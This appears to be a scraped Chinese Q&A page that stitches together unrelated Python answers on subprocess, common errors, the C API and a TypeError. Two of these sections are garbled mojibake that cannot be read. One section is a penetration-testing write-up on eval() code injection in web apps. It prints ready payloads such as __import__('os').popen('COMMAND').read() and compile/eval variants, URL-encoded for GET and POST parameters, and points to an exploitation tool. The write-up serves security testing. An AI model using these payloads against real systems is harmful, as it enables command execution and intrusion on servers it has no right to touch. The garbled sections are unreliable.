pythoncheckcall
⑴ 鍑虹幇TypeError: only size-1 arrays can be converted to python scalars
鍘熷洜錛氭槸鍥犱負灝戜簡涓涓鍙傛暟鈥淵鈥濓紝鎶婂弬鏁扳淵鈥濆姞涓婂幓灝卞彲浠ヤ簡銆
Python鐨勫熀鏈璇娉曪細
Python鐨勮捐$洰鏍囦箣涓鏄璁╀唬鐮佸叿澶囬珮搴︾殑鍙闃呰繪с傚畠璁捐℃椂灝介噺浣跨敤鍏跺畠璇璦緇忓父浣跨敤鐨勬爣鐐圭﹀彿鍜岃嫳鏂囧崟瀛楋紝璁╀唬鐮佺湅璧鋒潵鏁存磥緹庤傘傚畠涓嶅儚鍏朵粬鐨勯潤鎬佽璦濡侰銆丳ascal閭f牱闇瑕侀噸澶嶄功鍐欏0鏄庤鍙ワ紝涔熶笉鍍忓畠浠鐨勮娉曢偅鏍風粡甯告湁鐗規畩鎯呭喌鍜屾剰澶栥
Python寮鍙戣呮湁鎰忚╄繚鍙嶄簡緙╄繘瑙勫垯鐨勭▼搴忎笉鑳介氳繃緙栬瘧錛屼互姝ゆ潵寮哄埗紼嬪簭鍛樺吇鎴愯壇濂界殑緙栫▼涔犳儻銆傚苟涓擯ython璇璦鍒╃敤緙╄繘琛ㄧず璇鍙ュ潡鐨勫紑濮嬪拰閫鍑猴紙Off-side瑙勫垯錛夛紝鑰岄潪浣跨敤鑺辨嫭鍙鋒垨鑰呮煇縐嶅叧閿瀛椼
澧炲姞緙╄繘琛ㄧず璇鍙ュ潡鐨勫紑濮嬶紝鑰屽噺灝戠緝榪涘垯琛ㄧず璇鍙ュ潡鐨勯鍑恆傜緝榪涙垚涓轟簡璇娉曠殑涓閮ㄥ垎銆
鎵╁睍璧勬枡錛
搴旂敤錛
1銆佺郴緇熺紪紼嬶細鎻愪緵API錛圓pplication Programming Interface搴旂敤紼嬪簭緙栫▼鎺ュ彛錛夛紝鑳芥柟渚胯繘琛岀郴緇熺淮鎶ゅ拰綆$悊錛孡inux涓嬫爣蹇楁ц璦涔嬩竴錛屾槸寰堝氱郴緇熺$悊鍛樼悊鎯崇殑緙栫▼宸ュ叿銆
2銆佸浘褰㈠勭悊錛氭湁PIL銆乀kinter絳夊浘褰㈠簱鏀鎸侊紝鑳芥柟渚胯繘琛屽浘褰㈠勭悊銆
3銆佹暟瀛﹀勭悊錛歂umPy鎵╁睍鎻愪緵澶ч噺涓庤稿氭爣鍑嗘暟瀛﹀簱鐨勬帴鍙c
4銆佹枃鏈澶勭悊錛歱ython鎻愪緵鐨剅e妯″潡鑳芥敮鎸姝e垯琛ㄨ揪寮錛岃繕鎻愪緵SGML錛孹ML鍒嗘瀽妯″潡錛岃稿氱▼搴忓憳鍒╃敤python榪涜孹ML紼嬪簭鐨勫紑鍙戙
5銆佹暟鎹搴撶紪紼嬶細紼嬪簭鍛樺彲閫氳繃閬靛驚Python DB-API錛堟暟鎹搴撳簲鐢ㄧ▼搴忕紪紼嬫帴鍙o級瑙勮寖鐨勬ā鍧椾笌Microsoft sql Server錛孫racle錛孲ybase錛孌B2錛孧ySQL銆丼QLite絳夋暟鎹搴撻氫俊銆俻ython鑷甯︽湁涓涓狦adfly妯″潡錛屾彁渚涗簡涓涓瀹屾暣鐨凷QL鐜澧冦
鍙傝冭祫鏂欐潵婧愶細鐧懼害鐧劇-Python
⑵ python 怎麼啟動一個外部命令程序,並且不阻塞當前進程
在Python中,我們通過標准庫中的subprocess包來fork一個子進程,並運行一個外部的程序。
使用subprocess包中的函數創建子進程的時候,要注意:
1) 在創建子進程之後,父進程是否暫停,並等待子進程運行。
2) 函數返回什麼
3) 當returncode不為0時,父進程如何處理。
subprocess.call()
父進程等待子進程完成
返回退出信息
subprocess.check_call()
父進程等待子進程完成
返回0
檢查退出信息,如果returncode不為0,則舉出錯誤subprocess.CalledProcessError,該對象包含有returncode屬性,可用try...except...來檢查。
subprocess.check_output()
父進程等待子進程完成
返回子進程向標准輸出的輸出結果
檢查退出信息,如果returncode不為0,則舉出錯誤subprocess.CalledProcessError,該對象包含有returncode屬性和output屬性,output屬性為標准輸出的輸出結果,可用try...except...來檢查。
這三個函數的使用方法相類似,我們以subprocess.call()來說明:
importsubprocess
rc=subprocess.call(["ls","-l"])
實際上,我們上面的三個函數都是基於Popen()的封裝(wrapper)。這些封裝的目的在於讓我們容易使用子進程。當我們想要更個性化我們的需求的時候,就要轉向Popen類,該類生成的對象用來代表子進程。
與上面的封裝不同,Popen對象創建後,主程序不會自動等待子進程完成。我們必須調用對象的wait()方法,父進程才會等待 (也就是阻塞block):
importsubprocess
child=subprocess.Popen(["ping","-c","5","www.google.com"])
child.wait()
print("parentprocess")
此外,你還可以在父進程中對子進程進行其它操作,比如我們上面例子中的child對象:
child.poll() # 檢查子進程狀態
child.kill() # 終止子進程
child.send_signal()# 向子進程發送信號
child.terminate() # 終止子進程
因此,如果不希望當前進程被阻塞,你可以使用Popen對象進行操作。
⑶ 如何使用python查找網站漏洞
如果你的Web應用中存在Python代碼注入漏洞的話,攻擊者就可以利用你的Web應用來向你後台伺服器的Python解析器發送惡意Python代碼了。這也就意味著,如果你可以在目標伺服器中執行Python代碼的話,你就可以通過調用伺服器的操作系統的指令來實施攻擊了。通過運行操作系統命令,你不僅可以對那些可以訪問到的文件進行讀寫操作,甚至還可以啟動一個遠程的互動式Shell(例如nc、Metasploit和Empire)。
為了復現這個漏洞,我在最近的一次外部滲透測試過程中曾嘗試去利用過這個漏洞。當時我想在網上查找一些關於這個漏洞具體應用方法的信息,但是並沒有找到太多有價值的內容。在同事Charlie Worrell(@decidedlygray)的幫助下,我們成功地通過Burp POC實現了一個非互動式的shell,這也是我們這篇文章所要描述的內容。
因為除了Python之外,還有很多其他的語言(例如Perl和Ruby)也有可能出現代碼注入問題,因此Python代碼注入屬於伺服器端代碼注入的一種。實際上,如果各位同學和我一樣是一名CWE的關注者,那麼下面這兩個CWE也許可以給你提供一些有價值的參考內容:
1. CWE-94:代碼生成控制不當(『代碼注入』)2. CWE-95:動態代碼評估指令處理不當(『Eval注入』)漏洞利用
假設你現在使用Burp或者其他工具發現了一個Python注入漏洞,而此時的漏洞利用Payload又如下所示:
eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那麼你就可以使用下面這個Payload來在目標主機中實現操作系統指令注入了:
eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))實際上,你甚至都不需要使用for循環,直接使用全局函數「__import__」就可以了。具體代碼如下所示:
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其實我們的Payload代碼還可以更加簡潔,既然我們已經將import和popen寫在了一個表達式裡面了,那麼在大多數情況下,你甚至都不需要使用compile了。具體代碼如下所示:
__import__('os').popen('COMMAND').read()
為了將這個Payload發送給目標Web應用,你需要對其中的某些字元進行URL編碼。為了節省大家的時間,我們在這里已經將上面所列出的Payload代碼編碼完成了,具體如下所示:
param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下來,我們將會給大家介紹關於這個漏洞的細節內容,並跟大家分享一個包含這個漏洞的Web應用。在文章的結尾,我將會給大家演示一款工具,這款工具是我和我的同事Charlie共同編寫的,它可以明顯降低你在利用這個漏洞時所花的時間。簡而言之,這款工具就像sqlmap一樣,可以讓你快速找到SQL注入漏洞,不過這款工具仍在起步階段,感興趣的同學可以在項目的GitHub主頁[傳送門]中與我交流一下。
搭建一個包含漏洞的伺服器
為了更好地給各位同學進行演示,我專門創建了一個包含漏洞的Web應用。如果你想要自己動手嘗試利用這個漏洞的話,你可以點擊這里獲取這份Web應用。接下來,我們要配置的就是Web應用的運行環境,即通過pip或者easy_install來安裝web.py。它可以作為一台獨立的伺服器運行,或者你也可以將它載入至包含mod_wsgi模塊的Apache伺服器中。相關操作指令如下所示:
git clone https://github.com/sethsec/PyCodeInjection.gitcd VulnApp
./install_requirements.sh
python PyCodeInjectionApp.py
漏洞分析
當你在網上搜索關於python的eval()函數時,幾乎沒有文章會提醒你這個函數是非常不安全的,而eval()函數就是導致這個Python代碼注入漏洞的罪魁禍首。如果你遇到了下面這兩種情況,說明你的Web應用中存在這個漏洞:
1. Web應用接受用戶輸入(例如GET/POST參數,cookie值);2. Web應用使用了一種不安全的方法來將用戶的輸入數據傳遞給eval()函數(沒有經過安全審查,或者缺少安全保護機制);下圖所示的是一份包含漏洞的示例代碼:
\
大家可以看到,eval()函數是上述代碼中唯一一個存在問題的地方。除此之外,如果開發人員直接對用戶的輸入數據(序列化數據)進行拆封的話,那麼Web應用中也將會出現這個漏洞。
不過需要注意的是,除了eval()函數之外,Python的exec()函數也有可能讓你的Web應用中出現這個漏洞。而且據我所示,現在很多開發人員都會在Web應用中不規范地使用exec()函數,所以這個問題肯定會存在。
自動掃描漏洞
為了告訴大家如何利用漏洞來實施攻擊,我通常會使用掃描器來發現一些我此前沒有見過的東西。找到之後,我再想辦法將毫無新意的PoC開發成一個有意義的exploit。不過我想提醒大家的是,不要過度依賴掃描工具,因為還很多東西是掃描工具也找不到的。
這個漏洞也不例外,如果你在某個Web應用中發現了這個漏洞,那麼你肯定使用了某款自動化的掃描工具,比如說Burp Suite Pro。目前為止,如果不使用類似Burp Suite Pro這樣的專業掃描工具,你幾乎是無法發現這個漏洞的。
當你搭建好測試環境之後,啟動並運行包含漏洞的示例應用。接下來,使用Burp Suite Pro來對其進行掃描。掃描結果如下圖所示:
\
下圖顯示的是Burp在掃描這個漏洞時所使用的Payload:
\
我們可以看到,Burp之所以要將這個Web應用標記為「Vulnerable」(包含漏洞的),是因為當它將這個Payload發送給目標Web應用之後,伺服器的Python解析器休眠了20秒,響應信息在20秒之後才成功返回。但我要提醒大家的是,這種基於時間的漏洞檢查機制通常會存在一定的誤報。
將PoC升級成漏洞利用代碼
使用time.sleep()來驗證漏洞的存在的確是一種很好的方法。接下來,為了執行操作系統指令並接收相應的輸出數據,我們可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()這幾個函數。當然了,應該還有很多其他的函數同樣可以實現我們的目標。
因為eval()函數只能對表達式進行處理,因此Burp Suite Pro的Payload在這里使用了compile()函數,這是一種非常聰明的做法。當然了,我們也可以使用其他的方法來實現,例如使用全局函數「__import__」。關於這部分內容請查閱參考資料:[參考資料1][參考資料2]
下面這個Payload應該可以適用於絕大多數的場景:
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Example with one expression
__import__('os').popen('COMMAND').read()
# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要執行一個或多個語句,那麼你就需要使用eval()或者compile()函數了。實現代碼如下所示:
# Examples with one expression
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的測試過程中,有時全局函數「__import__」會不起作用。在這種情況下,我們就要使用for循環了。相關代碼如下所示:
eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的參數是一個GET參數,那麼你就可以直接在瀏覽器中利用這個漏洞了:
\
請注意:雖然瀏覽器會幫你完成絕大部分的URL編碼工作,但是你仍然需要對分號(%3b)和空格(%20)進行手動編碼。除此之外,你也可以直接使用我們所開發的工具。
如果是POST參數的話,我建議各位直接使用類似Burp Repeater這樣的工具。如下圖所示,我在subprocess.check_output()函數中一次性調用了多個系統命令,即pwd、ls、-al、whoami和ping。
\
\
漏洞利用工具-PyCodeInjectionShell
你可以直接訪問PyCodeInjectionShell的GitHub主頁獲取工具源碼,我們也提供了相應的工具使用指南。在你使用這款工具的過程中會感覺到,它跟sqlmap一樣使用起來非常的簡單。除此之外,它的使用方法跟sqlmap基本相同。
⑷ python新手常見的報錯有哪些
1.NameError變數名錯誤
報錯:
>>> print a
Traceback (most recent call last):
File "<stdin>", line 1, in <mole>
NameError: name 'a' is not defined
解決方案:
先要給a賦值。才能使用它。在實際編寫代碼過程中,報NameError錯誤時,查看該變數是否賦值,或者是否有大小寫不一致錯誤,或者說不小心將變數名寫錯了。
註:在Python中,無需顯示變數聲明語句,變數在第一次被賦值時自動聲明。
>>> a=1
>>> print a
1
2.IndentationError代碼縮進錯誤
代碼:
a=1
b=2
if a<b:
print a
報錯:
IndentationError: expected an indented block
原因:
縮進有誤,python的縮進非常嚴格,行首多個空格,少個空格都會報錯。這是新手常犯的一個錯誤,由於不熟悉python編碼規則。像def,class,if,for,while等代碼塊都需要縮進。
縮進為四個空格寬度,需要說明一點,不同的文本編輯器中製表符(tab鍵)代表的空格寬度不一,如果代碼需要跨平台或跨編輯器讀寫,建議不要使用製表符。
解決方案:
a=1
b=2
if a<b:
print a
3.AttributeError對象屬性錯誤
報錯:
>>> import sys
>>> sys.Path
Traceback (most recent call last):
File "<stdin>", line 1, in <mole>
AttributeError: 'mole' object has no attribute 'Path'
原因:
sys模塊沒有Path屬性。
解決方案:
python對大小寫敏感,Path和path代表不同的變數。將Path改為path即可。
>>> sys.path
['', '/usr/lib/python2.6/site-packages']
python知識拓展:
使用dir函數查看某個模塊的屬性
>>> dir(sys)
['__displayhook__', '__doc__', '__egginsert', '__excepthook__', '__name__', '__package__', '__plen', '__stderr__', '__stdin__', '__stdout__', '_clear_type_cache', '_current_frames', '_getframe', 'api_version', 'argv', 'builtin_mole_names', 'byteorder', 'call_tracing', 'callstats', 'right', 'displayhook', 'dont_write_bytecode', 'exc_clear', 'exc_info', 'exc_type', 'excepthook', 'exec_prefix', 'executable', 'exit', 'flags', 'float_info', 'getcheckinterval', 'getdefaultencoding', 'getdlopenflags', 'getfilesystemencoding', 'getprofile', 'getrecursionlimit', 'getrefcount', 'getsizeof', 'gettrace', 'hexversion', 'maxint', 'maxsize', 'maxunicode', 'meta_path', 'moles', 'path', 'path_hooks', 'path_importer_cache', 'platform', 'prefix', 'ps1', 'ps2', 'py3kwarning', 'setcheckinterval', 'setdlopenflags', 'setprofile', 'setrecursionlimit', 'settrace', 'stderr', 'stdin', 'stdout', 'subversion', 'version', 'version_info', 'warnoptions']
4.TypeError類型錯誤
4.1入參類型錯誤
代碼:
t=('a','b','c')
for i in range(t):
print a[i]
報錯:
TypeError: range() integer end argument expected, got tuple.
原因:
range()函數期望的入參是整型(integer),但卻給的入參為元組(tuple)
解決方案:
將入參元組t改為元組個數整型len(t)
將range(t)改為range(len(t))
⑸ Python C API浣跨敤鏃墮渶瑕佹敞鎰忎粈涔
涓錛氱敤C API涓篜ython鍐機璇璦鍑芥暟錛屼互鏂逛究Python涓璋冪敤
1. 棣栧厛瀹炵幇涓涓鐗瑰畾鍘熷瀷鐨勫嚱鏁幫紝鐢≒ython C API鏉ュ疄鐜扮殑璇濓紝鎵鏈夊嚱鏁板繀欏繪槸榪欑嶅師鍨嬨傚繀欏繪槸綾諱技榪欐牱鐨
PyObject *Fun(PyObject *self, PyObject *args)
self搴旇ユ槸鍦ㄧ敤綾葷殑鏃跺欐墠浼氱敤鍒幫紙鎴戞病鏈夌敤鍒幫級錛宎rgs灝辨槸鍑芥暟鐨勫弬鏁般傚洜涓篴rgs鏄涓涓狿yObject*綾誨瀷錛堝彲浠ヤ唬琛≒ython璇璦涓鐨勪換浣曠被鍨嬶級
2. 灝嗗弬鏁拌漿鎹㈡垚C 璇璦琛ㄧず鐨勫唴瀹癸紝鐢≒yArg_ParseTuple鍑芥暟銆
3. 鎵ц屽畬闇瑕佺殑鎿嶄綔鍚庯紝涔熷繀欏昏繑鍥炰竴涓狿yObject*綾誨瀷鐨勫箋傞氳繃Py_BuildValue鍑芥暟鏉ユ瀯寤恆
榪欓噷瑕佽寸殑鏄錛屽亣濡傚笇鏈涜繑鍥炰竴涓猅uple綾誨瀷鐨勫礆紝鍙浠ュ厛鐢
PyObject *tuple = Py_BuildValue("(iis)", 1, 2, "three");
褰㈠紡鏉ユ瀯寤猴紝鍋囧傚緢澶氱殑璇濓紝鍙浠ョ敤涓嬮潰鐨勬柟寮忔潵鏋勫緩
PyObject *t;
t = PyTuple_New(3);
PyTuple_SetItem(t, 0, PyLong_FromLong(1L));
PyTuple_SetItem(t, 1, PyLong_FromLong(2L));
PyTuple_SetItem(t, 2, PyString_FromString("three"));
榪欎竴鐐瑰湪鍒氬紑濮嬪紑宸ョ殑鏃跺欒糠鎯戜簡寰堜箙銆
4. 灝嗚佽緭鍑虹殑鎵鏈夊嚱鏁版斁鍏ヤ竴涓鏁扮粍涓錛屾暟緇勭殑緇撴瀯鏄錛
struct PyMethodDef {
const char *ml_name; /* The name of the built-in function/method */
PyCFunction ml_meth; /* The C function that implements it */
int ml_flags; /* Combination of METH_xxx flags, which mostly
describe the args expected by the C func */
const char *ml_doc; /* The __doc__ attribute, or NULL */
};
鏁扮粍浠{NULL, NULL}緇撴潫
5. 鏋勯犱竴涓狿ython import鏃跺垵濮嬪寲鐨勫嚱鏁
綾諱技
PyMODINIT_FUNC
initexample(void)
{
Py_InitMole("example", example_methods);
}
榪欓噷鏈変釜鐗瑰埆闇瑕佹敞鎰忕殑鏄錛屽垵濮嬪寲鍑芥暟鍚嶅瓧鏈変弗鏍艱佹眰錛宨nit鍚庨潰蹇呴』璺熸ā鍧楀悕錛屽惁鍒橮ython鎵句笉鍒扮『瀹氱殑鍑芥暟浼氭姤娌℃湁鍒濆嬪寲鍑芥暟鐨勯敊璇
鎵╁睍妯″潡鍐欏畬鍚庯紝緙栬瘧鎴愬姩鎬佸簱錛圥ython瑕佹眰姝ゅ姩鎬佸簱鍚嶅瓧涓簆yd,瀹為檯灝辨槸鏀逛釜鍚庣紑鑰屽凡錛夈傚氨鍙浠ョ洿鎺ュ湪Python鑴氭湰涓鐢╥mport鐨勬柟寮忓姞杞戒簡錛屽逛簬浣跨敤鏉ヨ達紝鏍規湰涓嶉渶瑕佺煡閬撴ゅ簱鏄鐢– API鎵╁睍鍐欑殑榪樻槸鐩存帴鐢≒ython璇鍙ュ啓鐨勶紙榪欑偣Lua鍋氱殑涔熸槸涓鏍峰ソ錛
鏈鍚庯紝python鐨勬簮浠g爜涓闄勫甫浜嗕竴涓鍙鍋歟xample_nt鐨勪緥瀛愶紝鍙浠ュ弬鑰冧竴鏍鳳紝瀹屾暣鐨勬墿灞曚唬鐮佸備笅錛
#include "Python.h"
static PyObject *
ex_foo(PyObject *self, PyObject *args)
{
printf("Hello, world/n");
Py_INCREF(Py_None);
return Py_None;
}
static PyMethodDef example_methods[] = {
{"foo", ex_foo, METH_VARARGS, "foo() doc string"},
{NULL, NULL}
};
PyMODINIT_FUNC
initexample(void)
{
Py_InitMole("example", example_methods);
}
浜岋紟C璇璦涓璋冪敤Python璇鍙
棣栧厛錛寁oid Py_Initialize()鐢ㄦ潵鍒濆嬪寲錛寁oid Py_Finalize()鐢ㄦ潵緇撴潫Python鐨勮皟鐢錛岃繖鏄蹇呴』瑕佺殑銆
鐕冪伀鍒嗕袱縐嶆儏鍐碉紝鍋囧備粎浠呮槸鍑犳潯璇鍙ョ殑璇濓紝閭d箞浠PyRun_涓哄墠緙鐨勪竴浜涘嚱鏁伴兘寰堝ソ鐢錛屾瘮濡
int PyRun_SimpleString(const char *command)
鍑芥暟灝卞彲浠ョ洿鎺ユ墽琛屼竴鏉char*鐨凱ython璇鍙ャ
闇瑕佽幏寰楄繑鍥炲煎緱璇
PyObject* PyRun_String(const char *str, int start, PyObject *globals, PyObject *locals)
涔熷緢濂界敤錛屼互涓婁袱涓鍑芥暟鐢ㄦ潵澶勭悊Python婧愪唬鐮佸凡緇忚誨叆鍐呭瓨鐨勬儏鍐碉紝鍦ㄦ枃浠朵腑鐨勬椂鍊
int PyRun_SimpleFile(FILE *fp, const char *filename)
PyObject* PyRun_File(FILE *fp, const char *filename, int start, PyObject *globals, PyObject *locals)
浣跨敤綾諱技銆備笉澶氳蹭簡銆
鍋囧傛槸涓妯″潡鐨勮瘽錛堟瘮濡備竴涓鍑芥暟錛夛紝甯屾湜鍦–璇璦涓璋冪敤鐨勮瘽閭d箞浣跨敤璧鋒潵灝辯◢寰澶嶆潅浜嗕竴鐐廣傝繖縐嶆儏鍐電殑闇瑕佸湪浜庝綘鍙浠ヤ粠C璇璦涓鍚慞ython鍑芥暟涓浼犲叆鍙傛暟騫朵笖鎵ц岋紝鐒跺悗鑾峰彇緇撴灉銆
姝ゅ勫張鍒嗕負鍑犵嶆儏鍐碉細
鍦ㄦ枃浠朵腑錛屽湪鍐呭瓨涓錛岀紪璇戣繃鐨勶紝婧愪唬鐮併
鍦ㄦ枃浠朵腑閮藉緢濂借В鍐籌紝鍜屼笂闈涓鏍楓傝繖閲屼富瑕佽插湪鍐呭瓨涓鐨勬儏鍐點傦紙浜嬪疄涓婃垜宸ヤ綔涓闇瑕佸苟涓旇楄垂浜嗗緢闀挎椂闂存墠鎵懼埌瑙e喅鏂規硶鐨勫氨鏄榪欑嶆儏鍐碉級
鏈緙栬瘧鏃訛細錛堜篃灝辨槸婧愪唬鐮侊級
1.閫氳繃
PyObject* Py_CompileString(const char *str, const char *filename, int start)
API棣栧厛緙栬瘧涓嬈°傛API鐨勫弬鏁版垜璇存槑涓涓嬶紝str灝辨槸鍐呭瓨涓鐨勬簮浠g爜錛宖ilename涓昏佹槸鍑洪敊鏃舵姤閿欒鐢ㄧ殑錛屼簨瀹炴祴璇曡瘉鏄庯紝浣犻殢鎰忕粰涓瀛楃︿覆涔熸病鏈夊叧緋伙紝浣嗙粰NULL鍙傛暟鍦ㄨ繍琛屾椂蹇呯劧鎶ラ敊銆俿tart鎴戜竴鑸鐢ㄧ殑鏄疨y_file_input錛屽洜涓虹殑紜鏄浠庢枃浠朵腑璇誨彇榪囨潵鐨勶紝鐩稿圭殑榪樻湁Py_single_input鐢ㄦ潵琛ㄧず涓鏉¤鍙ワ紝Py_eval_input鐨勭敤娉曟垜涔熶笉鏄澶娓呮氥
婧愪唬鐮侀氳繃姝ゅ嚱鏁拌皟鐢ㄥ悗錛岃幏寰楃紪璇戝悗鐨凱yObject*,錛堝叾瀹炲亣濡傝窡榪涙簮浠g爜涓鍘葷湅錛屾槸涓涓狿yCodeObject緇撴瀯錛夊亣璁懼懡鍚嶄負lpCode銆
2.姝ゆ椂鍐嶈皟鐢ˋPI
PyObject* PyImport_ExecCodeMole(char *name, PyObject *co)
瀵煎叆妯″潡銆傚弬鏁頒篃璇存槑涓涓嬶紝name涓哄煎叆鐨勬ā鍧楀悕錛宑o灝辨槸鍓嶉潰緙栬瘧榪囩殑浠g爜瀵硅薄錛坙pCode錛夈傝繑鍥炵殑灝辨槸妯″潡瀵硅薄浜嗭紝鍋囪懼懡鍚嶄負lpMod銆
3.鍐嶈皟鐢ˋPI
PyObject* PyObject_GetAttrString(PyObject *o, const char *attr_name)
鑾峰緱鍑芥暟瀵硅薄銆俹灝辨槸妯″潡瀵硅薄錛坙pMod錛,attr_name灝辨槸浣犳兂瑕佽皟鐢ㄧ殑鍑芥暟鍚嶄簡錛屽亣璁懼彨main鐨勫嚱鏁幫紝灝辨槸鈥漨ain鈥濓紝鐒跺悗榪斿洖鐨勫氨鏄鍑芥暟瀵硅薄錛屽亣璁懼懡鍚嶄負lpFun銆
4.姝ゆ椂鍙浠ョ敤API
int PyCallable_Check(PyObject *o)
鍘繪鏌ヤ竴涓嬫槸涓嶆槸鑾峰緱浜嗕竴涓鍑芥暟銆傚亣濡傜『瀹氱殑璇濓紝灝卞彲浠ョ洿鎺ョ敤
PyObject_Call寮澶寸殑涓鏃忓嚱鏁拌皟鐢╨pFun浜嗐傝繖浜涘嚱鏁板寘鎷寰堝氾紝涓鑸灝辨槸杈撳叆鍙傛暟鐨勪笉鍚岋紝浣嗘槸鏁堟灉閮芥槸涓鏍風殑錛屽氨鏄璋冪敤鍑芥暟鑰屽凡銆傚弬鏁頒竴鑸鍙浠ラ氳繃鍓嶉潰璇磋繃鐨刡uild鍑芥暟鏉ヨ幏寰楋紝榪斿洖鍊間篃鏄鑾峰緱涓涓狿yObject*,鍙浠ラ氳繃PyArg_閭d釜鍑芥暟鏉ヨ幏鍙栵紝浣嗘槸濂藉儚涓嶅お濂斤紝閭f槸鍒嗘瀽鍙傛暟鐢ㄧ殑銆傛帹鑽愮敤紜瀹氱被鍨嬶紙鍋囪句負type錛夌殑綾諱技Py[type]_As鐨勫嚱鏁版潵鑾峰彇銆
姣斿傦細
long PyLong_AsLong(PyObject *pylong)鑾峰彇long
double PyLong_AsDouble(PyObject *pylong)鑾峰彇double
榪欓噷鎯寵寸殑鏄錛屽簲璇ユ湁鐩存帴浠庢簮浠g爜涓鑾峰彇鍑芥暟璋冪敤瀵硅薄鐨勬柟寮忥紝浣嗘槸鎴戞湰浜烘病鏈夎瘯鍑烘潵錛屾湁浜虹煡閬撹蜂竴瀹氳祼鏁欙紒
緙栬瘧榪囩殑浠g爜錛
瀵逛簬緙栬瘧榪囩殑浠g爜鍜屼笂闈㈠氨鏄鑾峰緱緙栬瘧鍚庣殑PyCodeObject瀵硅薄,褰撶劧鍦ㄦ簮浠g爜涓琛ㄧず榪樻槸PyObject*鐨勬柟娉曚笉鍚岋紙涓婁緥涓鐨刲pCode錛夈
褰撶劧瑕佹兂浠ュ悗鑾峰緱涓涓緙栬瘧鍚庣殑lpCode,鑷鐒惰佸厛緙栬瘧涓涓嬪暒銆備絾鏄綰綺圭紪璇戞垚pyc緇撳熬鐨勬枃浠跺悗錛岀洿鎺ヨ誨叆鍐呭瓨錛屾垜娌℃湁鎵懼埌灝嗗叾杞鍖栦負PyCodeObject瀵硅薄鐨勬柟娉曪紙涔熷笇鏈涙湁浜虹煡閬撹兘鍛婅瘔鎴戱紒錛
鎴戞壘鍒扮殑鏂規硶鏄鍏堢敤
PyObject* PyMarshal_WriteObjectToString(PyObject *value, int version)
void PyMarshal_WriteLongToFile(long value, FILE *file, int version)
涓や釜鍑芥暟鍏堟妸PyCodeObject瀵硅薄(lpCode)搴忓垪鍖栧埌鏂囦歡鎴栬呭唴瀛樹腑銆
鍐嶅湪闇瑕佺殑鏃跺欑敤鍑芥暟
PyObject* PyMarshal_ReadObjectFromFile(FILE *file)
PyObject* PyMarshal_ReadObjectFromString(char *string, Py_ssize_t len)
璇誨嚭鏉ワ紝璇誨嚭鏉ョ殑PyObject*鍏跺疄灝辨槸鎯寵佺殑PyCodeObject瀵硅薄浜(lpCode)銆傛帴涓嬫潵鐨勬ラや笌鏈緙栬瘧鏃剁殑姝ラや竴鏍楓
鍏夋槸榪欎釜鎵鏇茬殑鏂規硶鎴戣繕鏄鍙傝冭佹葷粰鐨勫崐杈硅祫鏂欏弽澶嶇爺絀跺嚭鏉ョ殑銆傝岀湡姝g洿鎺ユ湁鏁堢殑鏂規硶鎴戣繕鏄娌℃湁鎵懼埌銆
⑹ python shell怎麼使用
Python 中執行 Shell 命令有多種方法,stackoverflow 上有對這些方法進行比較的討論,Calling an external command in Python 指出使用subprocess模塊來實現更優。因此,本文說明如何使用subprocess模塊來實現 Shell 腳本的功能。
subprocess模塊提供多種方法來實現執行 Linux 的命令,例如subprocess.call()方法,subprocess.check_call()方法,等。這些方法都是對Popen類的封裝,故本文著重講述Popen類的使用。
執行 Shell 命令
可以通過向Popen()傳遞需要執行的命令來創建一個Popen對象,這樣,便會創建一個子進程來執行命令。例如:
child = subprocess.Popen(["ping","-c","5","leehao.me"])
1
上面的代碼會創建一個子進程來執行ping -c 5 leehao.me命令,這個命令採用列表的形式傳遞給Popen()方法。如果我們想直接採用ping -c 5 leehao.me字元串形式,可以添加shell=True來實現:
child = subprocess.Popen("ping -c 5 leehao.me", shell=True)
1
官方文檔指出由於安全原因故不建議使用shell=True,詳細說明可以參考官方文檔的描述。
等待子進程執行
子進程執行命令後,主進程並不會等待子進程執行。為了讓主進程等待子進程執行結束,需要顯示調用Popen.wait()方法。例如:
child = subprocess.Popen(["ping","-c","5","leehao.me"])
child.wait()
print 'parent finish'
1
2
3
這樣,主進程會等待子進程執行ping命令完畢後,才會列印出parent finish的輸出。
獲取執行結果
為了獲取Popen()子進程的輸出,可以使用Popen.communicate()方法,例如:
def subprocess_cmd(command):
process = subprocess.Popen(command,stdout=subprocess.PIPE, shell=True)
proc_stdout = process.communicate()[0].strip()
print proc_stdout
subprocess_cmd('echo leehao.me; echo www.leehao.me')
1
2
3
4
5
6
輸出:
leehao.me
www.leehao.me
process.communicate()方法可以實現主進程與子進程的通信。主進程可以通過它向子進程發送數據,也可以讀取子進程的輸出的數據。上面的例子中,我們在創建Popen對象時指定stdout=subprocess.PIPE,這樣主進程便可以讀取子進程的輸出。
communicate()方法返回一個元組:(stdoutdata, stderrdata),process.communicate()[0]即獲取子進程的標准輸出。
需要指出的是,調用communicate()方法後,主進程也會等待子進程執行完畢。
